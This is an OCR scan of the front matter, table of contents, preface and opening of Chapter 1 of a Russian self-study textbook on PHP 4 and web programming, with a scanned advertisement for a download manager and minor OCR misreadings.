Котеров Д. В.
Самоучитель РНР 4. — СПб.: БХВ-Петербург, 2003. — 576 с.: ил.

ISBN 5-94157-071-6

Учебное пособие по использованию языка РНР версии 4 содержит обширную ин-
формацию о приемах, призванных в кратчайшие сроки сделать новичка, владею-
щего хотя бы одним алгоритмическим языком, Web-профаммистом. Рассматрива-
ются основы протоколов HTTP и CGI, схемы разработки крупных сценариев на
РНР, синтаксис языка и работа с простейшими функциями, объектно-ориентиро-
ванное программирование на РНР с применением идеологии интерфейсов, мани-
пуляции со строками и массивами, создание баз данных и многое другое.

Для программистов и Web-разработчиков

УДК 681.3.06

Группа подготовки издания:

Главный редактор Екатерина Кондукова
Зав. редакцией Наталья Таркова
Редактор Евгений Васильев
Компьютерная верстка Натальи Смирновой
Корректор Наталия Першакова
Дизайн обложки Игоря Цырульникова
Зав. производством Николай Тверских

Лицензия ИД № 02429 от 24.07.00. Подписано в печать 27.01.03.
Формат 70x100V, . Печать офсетная. Усл. печ. л. 46,44.
e

Доп. тираж 5000 экз. Заказ Me 699
"БХВ-Петербург", 198005, Санкт-Петербург, Измайловский пр., 29.

Гигиеническое заключение на продукцию, товар № 77.99.02.953.Д.001537.03.02
от 13.03.2002 г. выдано Департаментом ГСЭН Минздрава России.

Отпечатано с готовых диапозитивов
в Академической типографии "Наука" РАН.
199034, Санкт-Петербург, 9 линия, 12.

ISBN 5-94157-071-6 с Котеровд. в., 2001
О Оформление, издательство "БХВ-Петербург", 2001


Содержание

Предисловие 1

Чего хочет программист от своей профессии 2
Временные затраты 3
О чем эта книга 4
Общая структура книги 5

ЧАСТЬ I. ОСНОВЫ WEB-ПРОГРАММИРОВАНИЯ 9

Глава 1. Принципы работы Интернета 11

Протоколы передачи данных 11
Семейство TCP/IP 13
Адресация с Сети 14
IP-адрес 14
Доменное имя 16
Порт ' 19
Терминология 20
Сервер 20
Узел 2 1
Порт 2 1
Сетевой демон 22
Провайдер 22
Хост.... 22
Виртуальный хост 23
Хостинг-провайдер (хостер) 23
Хостинг 24
Сайт 24
HTML-документ 24
Страница (или HTML-страница) 24
Web-программирование 25
World Wide Web и URL 25
Протокол 26
Имя хоста 26
Порт 26
Путь к странице 27

Глава 2. Интерфейс CGI 28

Что такое CGI? 28
Секреты URL 29
Заголовки и метод GET 30
GET 32
POST 32
Content-type 32
User-Age n t 33


IV Содержание

Referer 33
Content-length ' 33
Cookie 34
Accept 34
Эмуляция браузера через telnet 34
Метод POST 35
Кодировки и форматы данных 36
Что такое формы и для чего они нужны 37
Передача параметров "вручную" 38
Использование формы 38
Абсолютный и относительный путь к сценарию 39
Метод POST формы 40

Глава 3. CGI изнутри 42

Передача документа пользователю 43
Заголовки ответа 44
Пример CGI-сценария 46
Передача информации CGI-сценарию 48
Переменные окружения 48
Передача параметров методом GET 50
Передача параметров методом POST 51
Расшифровка URL-кодированных данных 53
Формы 56
Тэг <input> — различные поля ввода 57
Тэг <textarea> — многострочное поле ввода текста 6 1
Тэг <select> — список 62
Загрузка файлов 64
Формат данных 64
Тэг загрузки файла (file) 66
Что такое Cookies и с чем их едят 67
Установка Cookie 69
Получение Cookies из браузера 7 1
Пример программы для работы с Cookies 7 1
Авторизация 73

ЧАСТЬ II. ВЫБОР И НАСТРОЙКА ИНСТРУМЕНТАРИЯ.
WEB-СЕРВЕР APACHE 77

Глава 4. Установка Apache 79

Введение: зачем нужен домашний сервер? 79
Дистрибутивы и ссылки 80
От слов к делу: установка Apache 80
Этап первый : установка 8 1
Этап второй: настройка файла конфигурации Apache 82
Этап третий: тестирование Apache 86
Виртуальные хосты Apache 88


Содержание V

Глава 5. Установка РНР и MySQL 93

Установка РНР 93
Настройка Apache для работы с РНР 95
Тестирование РНР 96
Установка дополнительных модулей 97
Установка MySQL 98
Тестирование MySQL 100

ЧАСТЬ III. ОСНОВЫ ЯЗЫКА РНР 103

Глава 6. Характеристика языка РНР 105

Интерпретатор или компилятор? 106
Достоинства и недостатки интерпретатора 108
Пример РНР-программы 110
Использование РНР в Web 114

Глава 7. Переменные, константы, выражения 117

Переменные 117
Типы переменных 11 8
Действия с переменными 12 1
Определение типа переменной 122
Установка типа переменной 123
Оператор присваивания 123
Ссылочные переменные 124
Жесткие ссылки 124
Символические ссылки 126
Некоторые условные обозначения 126
string 127
int, long 127
double, float 127
bool 127
array 128
list 128
object 128
void 128
mixed 128
Константы 129
Предопределенные константы 129
Определение констант 130
Проверка существования константы 130
Выражения 130
Логические выражения 132
Строковые выражения 133
Операции 135
Арифметические операции 136
Строковые операции 136
Операции присваивания 136


VI Содержание

Операции инкремента и декремента 137
Битовые операции 137
Операции сравнения 138
Операция эквивалентности 138
Логические операции 140
Оператор отключения предупреждений 140

Глава 8. Работа с данными формы 143

Передача данных командной строки 143
Формы 145
Трансляция полей формы в переменные 146
Трансляция переменных окружения и Cookies 148
Трансляция списков 149
Трансляция массивов 151

Глава 9. Конструкции языка 153

Инструкция if-else 153
Использование альтернативного синтаксиса ; 154
Цикл с предусловием while 155
Цикл с постусловием do-while 156
Универсальный цикл for 156
Инструкции break и continue 157
Нетрадиционное использование do-while и break 159
Цикл foreach 160
Конструкция switch-case 161
Инструкция require 162
Инструкция include 163
Трансляция и проблемы с include 163
Инструкции однократного включения 164

Глава 10. Ассоциативные массивы 167

Создание массива "на лету". Автомассивы 168
Инструкция list() 170
Списки и ассоциативные массивы: путаница? 170
Инструкция array() и многомерные массивы 171
Операции над массивами 172
Доступ по ключу 172
Функция countQ 173
Слияние массивов 173
Косвенный перебор элементов массива 175
Прямой перебор массива 177
Списки и строки 178
Сериализация 179

Глава 11. Функции и области видимости 181
Пример функции 182
Общий синтаксис определения функции 184
Инструкция return ...185


Содержание VII

Параметры по умолчанию 186
Передача параметров по ссылке 187
Переменное число параметров 188
Локальные переменные 190
Глобальные переменные 191
Массив SGLOBALS 192
Статические переменные 194
Рекурсия 195
Вложенные функции 195
Условно определяемые функции 197
Передача функций "по ссылке" 198
Возврат функцией ссылки 199
Пример функции: Dump() 201
Несколько советов по использованию функций 202

ЧАСТЬ IV. СТАНДАРТНЫЕ ФУНКЦИИ РНР 203

Глава 12. Строковые функции 206

Конкатенация строк 206
О сравнении строк и инструкции if-else 207
Функции для работы с одиночными символами 209
Функции отрезания пробелов 210
Базовые функции 212
Работа с блоками текста 213
Функции для преобразований символов 214
Функции изменения регистра 216
Установка локали (локальных настроек) 217
Преобразование кодировок 218
Функции форматных преобразований 219
Работа с бинарными данными 22 1
Хэш-функции 223
Сброс буфера вывода 225

Глава 13. Работа с массивами 226

Сортировка массивов 226
Сортировка массива по значениям (asort()/arsort()) 226
Сортировка по ключам (ksort()/krsort()) 227
Сортировка по ключам при помощи функции uksort() 227
Сортировка по значениям при помощи функции uasort() 228
Переворачивание массива array_reverce() 228
Сортировка списка sort()/rsort() 228
Сортировка списка при помощи функции usortQ 229
Перемешивание списка shuffleQ 229
Ключи и значения 230
Комплексная замена в строке 23 1
Слияние массивов... 232


VIII Содержание

Получение части массива 232
Вставка/удаление элементов 232
Переменные и массивы 234
Создание списка — диапазона чисел 236

Глава 14. Математические функции 238

Встроеиные константы 238
Функции округления 239
Случайные числа 239
Перевод в различные системы счисления 24 1
Минимум и максимум 242
Степенные функции 242
Тригонометрия 243

Глава 15. Работа с файлами 244

О текстовых и бинарных файлах 244
Открытие файла 245
Конструкция or die() 249
Безымянные временные файлы 249
Закрытие файла 250
Чтение и запись > 250
Блочные чтение/запись 251
Построчные чтение/запись 25 1
Чтение CSV-файла 252
Положение указателя текущей позиции 253
Функции для определения типов файлов 254
Определение типа файла 254
Определение возможности доступа 255
Определение параметров файла 255
Специализированные функции 256
Функции для работы с именами файлов 257
Функции манипулирования целыми файлами 258
Другие функции 260
Блокирование файла 26 1
Типы блокировок 262
Блокировки с запретом "подвисания" 265
Пример счетчика 266

Глава 16. Работа с каталогами 268

Манипулирование каталогами 268
Работа с записями 269
Пример: печать дерева каталогов 27 1

Глава 17. Каналы и символические ссылки 273

Каналы 273
Символические ссылки 275
Жесткие ссылки ...276


Содержание IX

Глава 18. Запуск внешних программ 277

Глава 19. Работа с датами и временем 280

Представление времени в формате timestamp 280
Работа с датами 28 1
Григорианский календарь 283

Глава 20. Посылка писем через РНР 285

Функция отправки .письма 285
Проблема с кодировками 286
Посылка в указанной кодировке 286
Динамическая смена кодировки 287
Проблема с заголовками 287
Перспективы: создание "умной" функции для отправки писем 288

Глава 21. Работа с WWW 289

Установка заголовков ответа 289
Вывод заголовка 289
Запрет кэширования 290
Получение заголовков запроса 290
Работа с Cookies 291
Немного теории 29 1
Установка Cookie 292
Получение Cookie 293
SSI и функция virtual() 294
Эмуляция функции virtualO 294

Глава 22. Основы регулярных выражений в формате RegEx 296

Начнем с примеров 296
Пример первый 296
Пример второй 297
Выводы 297
Терминология 298
Использование регулярных выражений в РНР 298
Сопоставление 298
Сопоставление с заменой 299
Язык RegEx 299
Простые символы 300
Квантификаторы повторений 302
Мнимые символы 304
Оператор альтернативы 304
Группирующие скобки 305
"Карманы" 305
Дополнительные функции 308
Примеры использования регулярных выражений 309
Имя и расширение файла 309
И мя каталога и файл а 309
Проверка на идентификатор 310


Содержание

Модификация тэгов 310
Преобразование гиперссылок 310
Преобразование адресов E-mail 31 1
Выделение всех уникальных слов из текста..... 31 1
Заключение 312

Глава 23. Работа с изображениями 314

Универсальная функция GetImageSize() 315
Работа с изображениями и библиотека GD 316
Пример 316
Создание изображения 317
Определение параметров изображения 318
Сохранение изображения 319
Работа с цветом в формате RGB 320
Создание нового цвета 320
Получение ближайшего цвета 320
Эффект прозрачности 32 1
Получение RGB-составляющих 322
Графические примитивы 322
Копирование изображений 322
Прямоугольники 323
Линии 324
Дуга сектора 324
Закраска произвольной области 324
Многоугольники 325
Работа с пикселами 325
Работа с фиксированными шрифтами 326
Загрузка шрифта 326
Параметры шрифта 327
Вывод строки 327
Работа со шрифтами TrueType 327
Вывод строки : 328
Определение границ строки 329
Пример 329

Глава 24. Управление интерпретатором 332

Информационные функции 332
Настройка параметров РНР 333
error^reporting 334
magic_quotesjgpc on/off 334
max_execution_time 335
track_vars on/off. 335
Контроль ошибок 335
Оператор отключения ошибок 336
Пример использования оператора @ 337
Принудительное завершение программы 337
Финализаторы ...338


Содержание XI

Генерация кода во время выполнения 339
Выполнение кода 339
Генерация функций 341
Проверка синтаксической корректности кода 343
Другие функции 344

Глава 25. Управление сессиями 345

Зачем нужны сессии? 345
Механизм работы сессий 346
Инициализация сессии 347
Регистрация переменных 348
Идентификатор сессии и имя группы 349
Имя группы сессий 349
Идентификатор сессии 350
Другие функции 351
Установка обработчиков сессии 352
Обзор обработчиков 352
Регистрация обработчиков 354
Пример: переопределение обработчиков 354
Сессии и Cookies 357
Явное использование константы SID 357
Неявное изменение гиперссылок 358
Неявное изменение формы 359
Так использовать Cookies в сессиях или нет? 360

Глава 26. Работа с базой данных MySQL 361

Неудобство работы с файлами 362
Устройство MySQL 363
Соединение с базой данных 364
Обработка ошибок 365
Выполнение запросов к базе данных 365
Язык запросов MySQL 366
Создание таблицы 366
Удаление таблицы 371
Вставка записи 371
Удаление записей 37 1
Поиск записей 371
Обновление записей 372
Получение числа записей, удовлетворяющих выражению 372
Получение уникальных значений столбцов ...372
Получение результата 373
Параметры результата 373
Получение поля результата 374
Получение целой строки результата 374
Получение информации о результате 375
Пример использования функций поддержки MySQL 377
Уникальные идентификаторы в MySQL 378
Работа с таблицами 379


XII Содержание

Глава 27. Сетевые функции 381

Работа с сокетами 381
Функции для работы с DNS 382
Разрешение IP-адреса в доменное имя и наоборот 383
Корректный перевод IP-адреса в доменное имя 383

ЧАСТЬ V. ПРИЕМЫ ПРОГРАММИРОВАНИЯ НА РНР 387

Глава 28. Загрузка файлов на сервер 389

Multipart-формы 390
Тэг выбора файла 390
Закачка файлов и безопасность 391
Поддержка закачки в РНР 392
Простые имена полей закачки 392
Пример: фотоальбом 393
Сложные имена полей 395
Проблемы со сложными именами 396

Глава 29. Модульность программы. Написание "библиотекаря" 397

Наши требования 397
Библиотекарь 398
Работа с библиотекарем 404
Автоматическое подключение библиотекаря 405
Способ первый : использование auto_prependjlle 406
Способ второй: установка обработчика Apache 407
Обработчики Apache 407
Перехват обращений к несуществующим страницам 41 1
Связывание РНР с другим расширением 412
Решение проблемы зацикливания обработчика -.413

Глава 30. Код и шаблон страницы 415

Идеология 416
Двухуровневая схема 417
Шаблон страницы 417
Генератор данных 419
Взаимодействие генератора данных и шаблона 42 1
Недостатки 422
Трехуровневая схема 423
Шаблон страницы 423
Диаграммы двухуровневой и трехуровневой моделей 425
Интерфейс 426
Ядро 427
Проверка корректности входных данных 428
Шаблонизатор 429
Традиционное построение страниц 43 1
Что такое шаблонизатор? ...433


Содержание XIII

Описание шаблонизатора 434
Обработчик Apache для шаблонизатора 441
Главный модуль шаблонизатора 443
"Перехват" выходного потока 449
Стек буферов 450
Проблемы с отладкой 451

Глава 31. Объектно-ориентированное программирование на РНР 453

Классы и объекты 454
Свойства объекта 454
Методы 456
Класс таблицы MySQL 456
Доступ объекта к своим свойствам 459
Инициализация объекта. Конструкторы 460
Деструктор 461
Наследование 462
Полиморфизм 464
Полноценный класс таблицы MySQL 465
Копирование объектов 478
Ссылки и интерфейсы 479
Возврат ссылки на объект 481
Возврат интерфейса 482

Глава 32. Почтовые шаблоны 486

Мини-шаблонизатор 486
Отправка и перекодирование писем 488
Пример 493

Глава 33. Разные советы 496

Разделенные вычисления 496
Использование самопереадресации 501
Запрет кэширования страниц 503
Несколько слов о флажках checkbox 504

ЧАСТЬ VI. ПРИЛОЖЕНИЯ 507

Приложение 1. Файл конфигурации Apache httpd.conf 509

Приложение 2. Файл конфигурации РНР php.ini 536

Предметный указатель 555


Мы не в силах повысить качество
Вашего Интернет-соединения...

in
Но мы можем повысить эффективность его работы!!!

Get ReGet!

ReGet - это менеджер закачек, позволяющий легко и быстро ,
скачивать файлы с FTP- и HTTP-серверов. Если у Вас
хороший канал, ReGet использует все преимущества
Вашего Интернет-соединения. Если качество связи
оставляет желать лучшего, ReGet позволит свести
неудобства к минимуму и гарантированно скачать
все файлы.

ReGet 1.7- новая версия с поддержкой MS Internet Explorer 5.5,
Windows 2000 и улучшенной системой автообновлений.

ReGet - оптимизирован для работы на российских
телефонных линиях. Ему не страшны обрывы связи,
плохие каналы, загруженные серверы.

ReGet - надежный попутчик в путешествиях по Сети.

Скачай себе бесплатную версию!
www.reget.com


Предисловие

В последнее время в связи с бурным развитием сети Интернет в программи-
ровании начинает все более резко выделяться отдельная отрасль. Поначалу
она не могла даже и сравниться по своей сложности с другими областями
программистского ремесла, не "дотягиваясь" не только до системного, но даже
и до прикладного программирования. Речь идет, конечно, о программирова-
нии сценариев для Web, или, как часто говорят, Web-программировании. В на-
ши дни, однако, роль этой отрасли в структуре Интернета все более возраста-
ет, соответственно растет и средняя оценка сложности сценариев. Многие
системы (например, поисковые) по объему кода приближаются к размеру ис-
ходных кодов серьезных пакетов прикладных программ.

Представляю, как эти слова тут же вызовут бурю протеста со стороны при-
кладных и системных программистов, лишь мельком глянувших на про-
граммирование в Web . "Как , — заявят они , — неужели написание простей-
ших программ на "бейсикоподобных" интерпретаторах вообще можно
назвать серьезным программированием? Да с этим же справится любой на-
чинающий изучать программирование студент, потому что эта область не
вносит и не может внести каких-либо новшеств, не "изобретает" алгоритмов,
и, кстати, в ней нет ничего творческого. Да и вообще, скука-то, наверное,
какая..." Обычно с такими людьми можно спорить часами. Действительно,
какую бы задачу им ни привели, они начинают утверждать, что решить ее
очень просто, хотя на самом деле это в контексте Web, мягко говоря, оказы-
вается не совсем так.

Что ж, отчасти такие люди правы . Поначалу все мы так считали , пока не
столкнулись вплотную с тем, что называется Web-программированием. Да, в
большинстве своем все программы удивляют своей кажущейся простотой.
Но везде есть "подводные камни", и Web-программирование особенно ярко
это доказывает. Обычно на написание сценариев уходят не месяцы и годы, а
дни и недели. Но особо сложные сценарии могут потребовать значительно
большего времени на разработку. Наконец, на первый взгляд работа Web-
программиста кажется на редкость скучной . Но...

Все это обстоит именно таким образом, если вы программируете, что назы-
вается, "для себя", и при этом не пытаетесь каким-либо образом "автома-
тизировать" и упростить этот процесс. Действительно, можно получать удо-
вольствие от написания прикладных программ (особенно нетривиальных) ,
даже если их никто, кроме автора и его ближайших знакомых , потом не
увидит . Здесь привлекает сам процесс. Вот этим-то и отличается програм-
мирование в Web: нельзя писать сценарии "для себя", это занятие действи-


Предисловие

тельно покажется (а возможно , так оно и есть) скучным . Зато если вы соз-
дали программу, прекрасно работающую в Интернете, через которую
"проходят" сотни человек в день, и к тому же с удобным и оригинальным
интерфейсом — вот тут-то и начинает вам нравиться ваша профессия.

Примечание

Лу Гринзо, один из программистов IBM, говорил: "Все программисты немного
чокнутые. Это как бесконечная компьютерная игра: мы должны получать удо-
вольствие от своей работы. Какие бы деньги нам ни платили, если в нашем ре-
месле нет ничего увлекающего , никто из нас не станет работать" . Думаю , нам
всем иногда стоит задумываться над этими словами.

Чего хочет программист
от своей профессии

Давайте попробуем разобраться, чего хочет Web-программист, когда он вы-
бирает свою профессию. Возможно, он считает, что эта стезя довольно при-
быльна? Но деньги приходят, что называется, "сами собой" с накоплением
опыта и получением определенных навыков , по мере того, как человек ста-
новится профессионалом . Так происходит с любой профессией, а не только
с программированием. Кстати, как я немного выше упоминал, никто из
профессиональных программистов не работает исключительно за деньги ,
основной стимул — это все-таки интерес к работе.

Идем дальше. Может быть, ему нужна известность? Конечно, этот фактор
не является третьестепенным, учитывая то, что известность — гарантия, что
программист всегда легко сможет найти работу. Однако, как и деньги , слава
и известность также не бывают самими по себе — их необходимо заслужить.
И, к тому же, много ли вы знаете известных имен программистов, действи-
тельно заслуживших свое признание практикой (Билл Гейтс не в счет, по-
тому что он уже давно этим не занимается)? Правильно — ни одного. Разве
что, может быть, кто-нибудь вспомнит доблестных создателей игры Doom,
ставшей уже историей .

Но есть нечто такое, на что я уже намекал, и именно этим Web-
программирование (да и вообще любая работа, происходящая в Web) резко
отличается в лучшую сторону от всех доселе известных видов программирова-
ния. Вы можете быть очень хорошим прикладным или системным програм-
мистом. Однако вряд ли ваши программы будет использовать такое количест-
во людей, которое ежедневно посещает даже и не самую популярную
страничку в Интернете, "подкрепленную" Web-сценарием. Вряд ли вы полу-
чите такое количество отзывов, приобретете такое число бесплатных тестеров,
усердно шлющих вам гору писем с сообщениями о неточностях и ошибках в
вашем продукте, а также с отзывами и предложениями. А ведь, как известно,

----------------------- Page 18-----------------------
Предисловие

заметить ошибку в программе означает "отрубить ей голову". Наконец, иногда
приятно отметить для себя, что сценарий, написанный вами несколько лет
назад, о котором вы почти уже и забыли думать, продолжает исправно рабо-
тать "сам по себе", без всякого человеческого вмешательства.

Временные затраты

Да, я уже слышу очередные протесты "системщиков". Конечно, операцион-
ная система — безусловный "долгожитель" на множестве компьютеров . Вме-
сте с тем, согласитесь, написать работоспособную ОС, действительно при-
годную для использования (без всяких там оговорок) —• довольно тяжелая
работа, если не сказать большего. Под силу ли это одиночке? Сомневаюсь,
что с ней в приемлемые сроки справится не то чтобы один , а десяток или
даже пятьдесят человек.

Проведем несложные расчеты. На одной из конференций представитель
фирмы Sun Microsystems заявил (видимо , в качестве порицания) , что исход-
ный текст последних версий Windows насчитывает порядка 50 миллионов
строк. Думаю, он не очень сильно ошибся в своей оценке (как мы увидим ,
даже если он завысил цифру хоть в 10 раз, все равно результат будет неуте-
шительный). В сумме это составляет около 50 млнх20 байт=1000 Мбайт (из
расчета в среднем 20 символов в строке). Предположим, программист может
печатать со скоростью 30 символов в минуту (разумеется, скорость собст-
венно печати значительно выше, но ведь прежде чем что-то набирать, нуж-
но сначала все спланировать и разработать). Таким образом, работая непре-
рывно, он в этом темпе создаст ОС за 1000 Мбайт/(30/60 мин)/
/3600 с=555 555 часов, что составит 555 555/24=23 148 дня или ровным сче-
том 23 148/365=63 года непрерывной круглосуточной работы! А ведь мы зна-
чительно завысили реальную скорость печати, да и, к тому же, нельзя 24 часа
заниматься только тем, что набирать программу на клавиатуре.

Ко всему прочему , нужно еще компилировать программу, исправлять ошибки,
еще раз компилировать и так до бесконечности (как это может показаться
непривычному человеку). Наконец, "Нет ошибок в данной трансляции", но
вдруг — логическая ошибка, и начинай все заново?.. Допустим даже ОС будет
занимать не 50 миллионов строк, а только 5 миллионов. Предположим, что в
команде не один , а 1000 человек. И пусть рабочий день программиста состав-
ляет 6 часов непрерывной работы. Итак, мы получим , что на написание на-
шей ОС этой командой уйдет 555 555/10/1000х(24/6)=222 дня, или около семи
месяцев. Что ж... Вполне неплохо, но какой ценой?.. К тому же совершенно
неизвестно, получится ли в конце концов система, которая кому-то будет
нужна. Представляете, полгода работы — и все напрасно?!

Разумеется, в системном и прикладном программировании существуют и
другие направления . Например , можно написать какую-нибудь полезную

----------------------- Page 19-----------------------
Предисловие

программу, вроде текстового процессора или браузера. Кстати, вы знаете
достоверно, сколько человек писало Internet Explorer? Лучше бы и я этого
не знал...

И вот мы вернулись к тому, с чего начинали: чем же так привлекательна
профессия Web-программиста. Все-таки понять это в полной мере можно ,
лишь достаточно поработав в этой области. Самое привлекательное в ней
то, что результат своей работы можно видеть через довольно короткий срок.

О чем эта книга

Книга, которую вы держите в руках, является в некотором роде учебником
по Web-программированию. Я сделал попытку написать ее так, чтобы даже
самый неподготовленный читатель, владеющий лишь основами программи-
рования на одном из алгоритмических языков, смог овладеть большинством
необходимых знаний и в минимальные сроки начать профессиональную
работу в Web.

Конечно, нельзя вести разговор о программировании, не подкрепляя его
конкретными примерами на том или ином алгоритмическом языке . Поэто-
му главная задача книги — подробное описание языка РНР версии 4, а так-
же некоторых удобных приемов, позволяющих создавать качественные Web-
программы за очень короткие сроки , получая продукты , легко модифици -
руемые и поддерживаемые в будущем. И хотя язык РНР постоянно изменя-
ется, я уверен, что ему обеспечено долгое доминирование в области языков
для программирования в Web, по крайней мере, в ближайшее время.

Попутно описываются наиболее часто используемые и полезные на практи-
ке приемы Web-программирования , не только на РНР. Я постарался расска-
зать практически обо всем, что потребуется в первую очередь для освоения
профессии Web-программиста . Но это вовсе не значит , что книга перепол-
нена всякого рода точной технической информацией. Технического мате-
риала не так много, основной "упор" сделан не на "низкий уровень", а на те
методы, которые позволят в значительной степени облегчить труд програм-
миста, начинающего работать в области Web.

В тексте много "общефилософских" рассуждений на тему "как могло бы
быть, если..." или "как бы сделал я сам в этой ситуации...", они обычно
оформлены в виде примечаний . Иногда я позволяю себе писать не о том,
что есть на самом деле, а о том, как это могло бы быть в более благоприят-
ных обстоятельствах. Здесь применяется метод: "расскажи сначала просто,
пусть и не совсем строго и точно, а затем постепенно детализируй , освещая
подробности, опущенные в прошлый раз". По своему опыту знаю, что такой
стиль повествования чаще всего оказывается гораздо более плодотворным ,
чем строгое и сухое описание фактов. Еще раз: я не ставил себе целью на-
писать исчерпывающее руководство в определенной области, и не стремил-

----------------------- Page 20-----------------------
Предисловие

ся описывать все максимально точно, как в учебнике по математике, — на-
оборот, во многих местах я пытаюсь отталкиваться от умозрительных рассу-
ждений, возможно, немного и не соответствующих истине. Основной под-
ход — от частного к общему, а не наоборот. Как-никак, "изобретение
велосипеда" испокон веков считалось лучшим приемом педагогики .

Возможно, многие детали (даже важные) я опустил, если они не относятся к
категориям приемов:

П которые наиболее часто применяются;

П без которых нельзя обойтись в Web-программировании.

Может быть, я уделил чему-то незаслуженно мало внимания . Наконец, в
этой книге , как и в любой другой (за исключением разве что старого энцик-
лопедического словаря), есть ошибки и неточности — сразу приношу за них
свои извинения . Признаюсь честно: многие примеры простых программ
могут содержать синтаксические "огрехи", т. к. из-за своей простоты они
никогда не были протестированы. Это не относится к крупным программам,
приведенным в пятой части книги — как раз они были тщательно отлаже-
ны. Везде, где можно, присутствуют подробные комментарии практически к
каждой строке программы, поэтому в основном логика описываемых дейст-
вий должна быть предельно ясна.

Общая структура книги

Книга состоит из пяти частей, содержащих в общей сложности 33 главы, и
двух приложений . Непосредственное описание языка РНР начинается с
третьей части. Это объясняется необходимостью прежде узнать кое-что о
CGI (Common Gateway Interface — Общий шлюзовой интерфейс) —первая
часть, а также выбрать подходящий инструментарий и Web-сервер для про-
граммирования — вторая часть. В четвертой части разобраны наиболее по-
лезные стандартные функции языка. Пятая часть посвящена различным
приемам программирования на РНР с множеством примеров. Приложения
содержат техническую информацию , которая может иногда пригодиться
Web-программисту .

Теперь чуть подробнее о каждой части книги. В первой рассматриваются
теоретические аспекты программирования в Web, а также основы того меха-
низма, который позволяет писать программы в Сети. Если вы уже знакомы
с этим материалом (например, занимались программированием на Perl или
других языках), можете ее смело пропустить. Вкратце я опишу , на чем бази-
руется Web, что такое интерфейс CGI, как он работает на низком уровне,
как используются возможности языка HTML при программировании Web,
как происходит взаимодействие CGI и HTML и многое другое. В принципе ,
вся теория по Web-программированию коротко изложена именно в этой
части книги. Так как CGI является независимым от платформы интерфей-

----------------------- Page 21-----------------------
Предисловие

сом, материал не "привязан" к конкретному языку (хотя в примерах исполь-
зуется Си как наиболее универсальный язык) . Если вы не знаете языка Си,
не стоит отчаиваться: немногочисленные примеры на этом языке не на-
столько сложны, чтобы в них можно было "запутаться". К тому же, каждое
действие подробно комментируется. Большинство описанных идей будет
повторно затронуто в последующих главах, посвященных уже языку РНР.

Вторая часть книги довольно небольшая и состоит из разного рода дополни-
тельной информации , связанной по большей части с серверным програм-
мным обеспечением Apache. Сервер Apache — один из самых популярных в
мире, на нем построено около двух третей хостов Интернета (по крайней
мере, на настоящий момент) . Главное его достоинство — простое и в то же
время универсальное конфигурирование , что позволяет создавать довольно
сложные и большие серверы на его основе. Думаю , вряд ли в ближайшее
время кто-либо будет серьезно использовать РНР под управлением какого-
то другого сервера, нежели Apache . Основное внимание во второй части
уделено установке и использованию Apache для Windows , поскольку, как мы
увидим ниже , это очень сильно облегчает программирование и отладку сце-
нариев. Не секрет, что подчас выбор неверного и неудобного инструмента-
рия только из-за того, что "им пользуются все", является серьезной помехой
при программировании . Именно из-за этого многие "закаленные" Web-
программисты "старого образца" не принимают РНР всерьез. Вторая часть
книги призвана раз и навсегда решить эту проблему.

Третья часть целиком посвящена основам РНР. Язык РНР — сравнительно
молодой, но в то же время удивительно удобный и гибкий язык для про-
граммирования Web. С помощью него можно написать 99% программ , кото-
рые обычно требуются в Интернете. Для оставшегося 1% придется исполь-
зовать Си или Perl (или другой универсальный язык). Впрочем, даже это
необязательно: вы сильно облегчите себе жизнь , если интерфейсную обо-
лочку будете разрабатывать на РНР, а ядро — на Си, особенно, если ваша
программа должна работать быстро, например , если вы пишете поисковую
систему. Последняя тема в этой книге не рассматривается, поскольку требу-
ет довольно большого опыта низкоуровневого программирования на языке
Си, а потому не вписывается в концепцию данной книги .

Четвертая часть может быть использована не только как своеобразный учеб-
ник, но также и в справочных целях — ведь в ней рассказано о большинстве
стандартных функций , встроенных в РНР. Я группировал функции в соот-
ветствии с их назначением, а не в алфавитном порядке, как это иногда бы-
вает принято в технической литературе. Что ж, думаю, книга от этого только
выиграла. Содержание части во многих местах дублирует документацию,
сопровождающую РНР, но это ни в коей мере не означает, что она является
лишь ее грубым переводом. Наоборот, я пытался взглянуть на "кухню" Web-
программирования, так сказать, свежим взглядом, еще помня свои собст-
венные ошибки и изыскания . Конечно, все функции РНР описать невоз-

----------------------- Page 22-----------------------
Предисловие

можно (потому что они добавляются и совершенствуются от версии к вер-
сии), да этого и не требуется, но львиная доля предоставляемых РНР воз-
можностей все же будет нами рассмотрена.

Пятая часть книги целиком посвящена различным приемам программиро-
вания на РНР . Она насыщена всевозможными примерами программ и биб-
лиотек , облегчающими работу программиста. Если первые три части, да и
четвертая в известной мере, касались Web-программирования в основном
теоретически, то здесь как раз основной упор сделан на практику. Как из-
вестно, грамотное программирование и написание повторно используемого
кода может сильно облегчить жизнь, поэтому один из первых приемов , рас-
сматриваемых в пятой части — это написание системы управления модуля-
ми и библиотеками. Кроме того, вряд ли вы станете разрабатывать сайты в
одиночку - скорее всего, в вашей команде будет дизайнер, HTML-
верстальщик и представители других профессий. Поэтому на передний план
выходит техника отделения кода от шаблона страницы сценария, чему также
уделяется довольно много внимания . Дополнительно рассматриваются: за-
грузка (upload) файлов, реализация почтовых шаблонов, техника разделен-
ных вычислений и т. д.

В приложениях приведена дополнительная информация, касающаяся Web-
программирования. В Приложении 1 содержится полный перевод на рус-
ский язык комментариев в файле конфигурации Apache httpd.conf . Она
может очень пригодиться вам, если вы собираетесь тесно взаимодействовать
с этим сервером в своих сценариях . Приложение 2 включает аналогичный
перевод комментариев , сопровождающих файл конфигурации интерпретато-
ра РНР. Оно призвано помочь лучше систематизировать сведения о кон-
фигурировании РНР, полученные из других глав книги (и увидеть реальный
пример использования многих описанных директив) .

----------------------- Page 23-----------------------

----------------------- Page 24-----------------------
ЧАСТЬ I.

основы
WEB-ПРОГРАММИРОВАНИЯ

----------------------- Page 25-----------------------

----------------------- Page 26-----------------------
Глава 1

Принципы работы
Интернета

Протоколы передачи данных

Как и любая компьютерная сеть, Интернет основан на множестве компьюте-
ров, соединенных друг с другом проводами, через спутниковый канал связи
и т. д. Однако, как известно, одних проводов для передачи информации не-
достаточно — передающей и принимающей сторонам необходимо также при-
держиваться ряда соглашений, позволяющих строго регламентировать переда-
чу данных , а также гарантировать, что эта передача пройдет без искажений .
Такой набор правил .называется протоколом передачи. Грубо говоря, прото-
кол — это набор правил, который позволяет системам, взаимодействующим в
рамках Интернета, обмениваться данными в наиболее удобной для них форме.
Следуя сложившейся в книгах подобного рода традиции, я вкратце расскажу,
что же из себя представляют основные протоколы Интернета.

Замечание

Иногда я буду называть Интернет Сетью с большой буквы, в отличие от "сети" с
маленькой буквы, которой обозначается вообще любая сеть, локальная или
